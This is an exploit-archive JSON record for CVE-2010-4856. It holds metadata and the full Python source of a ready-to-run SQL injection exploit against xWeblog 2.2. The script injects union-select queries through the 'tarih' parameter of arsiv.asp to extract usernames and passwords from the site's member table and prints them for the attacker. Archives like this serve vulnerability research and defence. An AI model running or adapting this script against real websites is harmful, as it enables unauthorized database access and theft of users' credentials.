{"exploit":{"id":"EDB-15219","name":"xWeblog 2.2 - 'arsiv.asp?tarih' SQL Injection (SQLi)","description":"xWeblog 2.2 - 'arsiv.asp?tarih' SQL Injection (SQLi)","cves":["CVE-2010-4856"],"author":"ZoRLu","published":"2010-10-08","platform":"asp","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/15219","path":"exploits/asp/webapps/15219.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-15219.py","vulnerabilities":[{"id":"CVE-2010-4856","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in arsiv.asp in xWeblog 2.2 allows remote attackers to execute arbitrary SQL commands via the tarih parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-4856","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-4856"},"updatedAt":"2024-09-16T19:55:47.545Z","retrievedAt":"2026-11-26T14:12:01.630Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-15219.png?v=2","url":"https://exploitbin.com/exploits/EDB-15219","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-15219/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-15219/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\n'''\n# Title        : xWeblog v2.2 (arsiv.asp tarih) SQL Injection Exploit (.py)\n# Proof        : http://img408.imageshack.us/img408/7624/sqlm.jpg\n# Script Down. : http://www.aspdunyasi.com/goster.asp?id=19\n# Tested       : Windows XP Professional sp3\n# Author       : ZoRLu / http://inj3ct0r.com/author/577\n# mail-msn     : admin@yildirimordulari.com\n# Home         : http://z0rlu.blogspot.com\n# Thanks       : http://inj3ct0r.com / http://www.exploit-db.com / http://packetstormsecurity.org / http://shell-storm.org\n# Date         : 08/10/2010\n# Tesekkur     : r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N\n# Lakirdi      : Gecmiyorum Zaman a.k :/\n# Lakirdi      : off ulan off / http://www.videokeyfim.net/duruyenin-gugumleri-keklik-gibi-kanadimi-suzmedim-murat-ali-doya-doya-gezmedim-bu-kara-yaziyi-kendim-yazmadim.html\n'''\n\nimport sys, urllib2, re, os, time\n\nif len(sys.argv) < 2:\n    os.system(['clear','cls'][1])\n    os.system('color 2')\n    print \"_______________________________________________________________\"\n    print \"                                                               \"\n    print \"   xWeblog v2.2 (arsiv.asp tarih) SQL Inj Exploit (.py)        \"\n    print \"                                                               \"\n    print \"   Coded by ZoRLu                                              \"\n    print \"                                                               \"\n    print \"   Usage:                                                      \"\n    print \"                                                               \"\n    print \"   python exploit.py http://site.com/path/                     \"\n    print \"                                                               \"\n    print \"_______________________________________________________________\"\n    sys.exit(1)\n\nadd = \"http://\"\nadd2 = \"/\"\n\nsitemiz = sys.argv[1]\nif sitemiz[-1:] != add2:\n    print \"\\nwhere is  it: \" + add2\n    print \"okk I will add\"\n    time.sleep(2)\n    sitemiz += add2\n    print \"its ok\" + \" \" + sitemiz\n\nif sitemiz[:7]  != add:\n    print \"\\nwhere is it: \" + add\n    print \"okk I will add\"\n    time.sleep(2)\n    sitemiz =  add + sitemiz\n    print \"its ok\" + \" \" + sitemiz\n\nvulnfile = \"arsiv.asp\"\nad = \"?tarih=0000+union+select+1,AD,3,4,5,6,7,8,9,10,11,12,13+from+uyeler\"\nurl = sitemiz + vulnfile + ad\n\nvulnfile = \"arsiv.asp\"\nsifre = \"?tarih=0000+union+select+1,SIFRE,3,4,5,6,7,8,9,10,11,12,13+from+uyeler\"\nurl2 = sitemiz + vulnfile + sifre\n\nprint \"\\nExploiting...\\n\"\nprint \"wait three sec.!\\n\"\ntime.sleep(3)\n\ntry:\n    veri = urllib2.urlopen(url).read()\n    aliver = re.findall(r\"<h2>(.*)([0-9a-fA-F])(.*)</h2>\", veri)\n    if len(aliver) > 0:\n        print \"AD    :  \" + aliver[0][0] + aliver[0][1] + aliver[0][2]\n        time.sleep(2)\n\n    else:\n        print \"Exploit failed...\"\n        sys.exit(1)\n\n\nexcept urllib2.HTTPError:\n    print \"Forbidden Sorry! Server has a Security!\"\n    sys.exit(1)\n\ntry:\n    veri = urllib2.urlopen(url2).read()\n    aliver = re.findall(r\"<h2>(.*)([0-9a-fA-F])(.*)</h2>\", veri)\n    if len(aliver) > 0:\n        print \"\\nSIFRE :  \" + aliver[0][0] + aliver[0][1] + aliver[0][2]\n\n        print \"\\nGood Job Bro!\"\n        time.sleep(1)\n    else:\n        print \"Exploit failed...\"\n\n\nexcept urllib2.HTTPError:\n    print \"Forbidden Sorry! Server has a Security!\"","sha256":"58414dd093dbb21e6265a74c370573cec57b035ad644ac8a0c325bc96629d6f3","bytes":3369,"fetchedAt":"2026-11-26T14:12:01.420Z","encoding":"utf-8 (display only; download retains original bytes)"}